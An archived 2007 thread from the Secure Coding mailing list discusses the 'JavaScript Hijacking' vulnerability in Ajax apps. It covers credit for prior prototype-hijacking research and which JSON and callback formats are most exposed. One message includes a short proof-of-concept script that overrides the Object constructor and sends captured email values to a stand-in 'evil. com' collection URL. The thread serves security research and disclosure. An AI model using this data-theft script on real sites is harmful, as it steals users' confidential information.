Re: [SC-L] JavaScript Hijacking

2007-04-19 Thread Brian Chess

Frederik De Keukelaere [EMAIL PROTECTED] writes:
 Would you mind sharing the different data formats you came across for
 exchanging data in mashups/Web 2.0? Considering the challenges you
 recently discovered, it might be good to have such an overview to look at
 it from a security point of view.

Oops, sorry for taking so long to respond.  In addition to JSON, I've seen
two other uses of JavaScript as a data transport format.

1) JavaScript arrays
Example: [ a, b, c ]

Technically speaking, this is a subset of JSON, but in these systems there
is no notion of an object, only an array.  These systems are more vulnerable
than systems using JSON because they're guaranteed to always use array
syntax.


2) Function calls
Example:  addRecord(a, b, c);

This format is even easier to hijack, just define the named function.  This
is the worst of the bunch from a confidentiality standpoint.

Regards,
Brian

___
Secure Coding mailing list (SC-L) SC-L@securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
___


Re: [SC-L] JavaScript Hijacking

2007-04-06 Thread Frederik De Keukelaere
Hi Brian, Hi Stefano, 

snip
 
 Ok I see the difference. 
 You are taking advantage of a pure json CSRF with a evil script which
 contains a modified version of the Object prototype.
 And when the callback function is executed you use a XMLHttpRequest in
 order to send the information extracted by the instantiated object.

In the beginning of the paper there was a comment that the code that was 
presented was designed for use in Firefox but could be ported to IE or 
other browsers. However, since IE does not seem to have the setter methods 
(correct me if I am wrong), I did not quite find a way to achieve this in 
IE. 
We tried several things such as replacing Array and Object constructor as 
well as as overriding eval, neither of which worked. Do you have any 
suggestions about how to port this attack to IE?

Btw, thanks for the papers.

Kind Regards,

Fred

---
Frederik De Keukelaere, Ph.D.
Post-Doc Researcher
IBM Research, Tokyo Research Laboratory___
Secure Coding mailing list (SC-L) SC-L@securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
___


Re: [SC-L] JavaScript Hijacking

2007-04-03 Thread Stefano Di Paola
Hi Brian,
Il giorno lun, 02/04/2007 alle 12.13 -0700, Brian Chess ha scritto:
 Hi Stefano,
 
 Yes, we are aware of your paper, but we intentionally chose to omit the
 reference because we are quite snobby.  I'm joking!

:DD lol

 The difference between what you discuss and JavaScript Hijacking is that we
 do not assume the presence of another defect.  JavaScript Hijacking does not
 require the existence of a cross-site scripting vulnerability or the like.
 It's a new attack technique (and a new vulnerable code pattern), not a new
 method for exploiting an existing class of vulnerabilities.

Ok I see the difference. 
You are taking advantage of a pure json CSRF with a evil script which
contains a modified version of the Object prototype.
And when the callback function is executed you use a XMLHttpRequest in
order to send the information extracted by the instantiated object.

Well i can see that you don't require a XSS vuln on a host, but you
assume a vulnerability on a user who has to click on a link :)

Anyway, if there's a html injection on a 3rd site you could use an
iframe with an evil page like the one you described without waiting  for
a user to click on an untrusted link.

Or, if you cant use iframes, as XMLHttpRequest is restricted by same
origin policy, you dont need an evil page since you could use a XSS
vulnerable site as a vector in order to steal json informations with an
img tag.
--
script
function Object(){
 this.email setter =  captureObject;
}
function captureObject(x){
(new Image()).src='http:// evil. com/ collect?email='+x;
}
/script
script src='http:// vuln /json.js' /script
--

But this is just another way to accomplish your attack.

BTW very nice paper!

Regards,
Stefano

 Thanks,
 Brian

-- 
...oOOo...oOOo
Stefano Di Paola
Software  Security Engineer

Web: www.wisec.it
..


signature.asc
Description: Questa รจ una parte del messaggio	firmata digitalmente
___
Secure Coding mailing list (SC-L) SC-L@securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
___


Re: [SC-L] JavaScript Hijacking

2007-04-02 Thread Stefano Di Paola
Brian,

i don't know if you read it but me and Giorgio Fedon presented a paper
named Subverting Ajax at 23rd CCC Congress. 
(4th section XSS Prototype Hijacking)
http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf

It described a technique called Prototype Hijacking, which is about
overriding methods and attributes by using contructors and prototyping.
It was described how to override XMLHttprequest object, but it was
stated that it could be applied to every prototype. 

If you didn't read it, please read it and add some reference to your
paper.
If you read it:
- i think we deserve at least reference to our paper.
- even if you covered JSON hijacking, the technique is the same and the
name (Javascript Hijacking) is quite similar.

Regards,

Stefano

 I've been getting questions about Ajax/Web 2.0 for a few years now.  Most of
 the time the first question is along these lines: Does Ajax cause any new
 security problems?  Until recently, my answer has been right in line with
 the answers I've heard from other corners of the world: No.
 
 Then I've gone on to explain that Ajax doesn't change the rules of the game,
 but it does tilt the playing field.  For example:
   - By splitting your code between a client and a server, you increase
 you opportunity for misplacing input validation logic and access
 control checks.
   - Dynamic testing tools tend to have a harder time with Ajax apps.
 
 Now my story has changed.  We've found a new type of vulnerability that only
 affects Ajax-style apps.  We call the attack JavaScript Hijacking.  It
 enables an attacker to read confidential information from vulnerable sites.
 The attack works because many Ajax apps have given up on the x in Ajax.
 Instead of XML, they're using JavaScript as a data transport format.
 
 The problem is that web browsers don't protect JavaScript the same way they
 protect HTML, so a malicious web site can peek into some of the JavaScript
 returned from a vulnerable Ajax app.  We've looked at a lot of Ajax
 frameworks over the past few weeks, including Google's GWT, Microsoft Atlas,
 and half a dozen open source frameworks.  Almost all of them make it easy
 for developers to write vulnerable code.  Some of them *require* developers
 to write vulnerable code.
 
 Our write-up on the problem, along with our proposed solution, is here:
 
 http://www.fortify.com/servlet/downloads/public/JavaScript_Hijacking.pdf
 
 Enjoy,
 Brian

___
Secure Coding mailing list (SC-L) SC-L@securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
___


Re: [SC-L] JavaScript Hijacking

2007-04-02 Thread Brian Chess
Hi Stefano,

Yes, we are aware of your paper, but we intentionally chose to omit the
reference because we are quite snobby.  I'm joking!  I hadn't seen your
paper previously.  It was a good read.

The difference between what you discuss and JavaScript Hijacking is that we
do not assume the presence of another defect.  JavaScript Hijacking does not
require the existence of a cross-site scripting vulnerability or the like.
It's a new attack technique (and a new vulnerable code pattern), not a new
method for exploiting an existing class of vulnerabilities.

Thanks,
Brian

 From: Stefano Di Paola [EMAIL PROTECTED]
 Date: Mon, 02 Apr 2007 11:11:24 +0200
 To: sc-l@securecoding.org sc-l@securecoding.org
 Cc: Brian Chess [EMAIL PROTECTED]
 Subject: Re: [SC-L] JavaScript Hijacking
 
 Brian,
 
 i don't know if you read it but me and Giorgio Fedon presented a paper
 named Subverting Ajax at 23rd CCC Congress.
 (4th section XSS Prototype Hijacking)
 http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.p
 df
 
 It described a technique called Prototype Hijacking, which is about
 overriding methods and attributes by using contructors and prototyping.
 It was described how to override XMLHttprequest object, but it was
 stated that it could be applied to every prototype.
 
 If you didn't read it, please read it and add some reference to your
 paper.
 If you read it:
 - i think we deserve at least reference to our paper.
 - even if you covered JSON hijacking, the technique is the same and the
 name (Javascript Hijacking) is quite similar.
 
 Regards,
 
 Stefano
 


___
Secure Coding mailing list (SC-L) SC-L@securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
___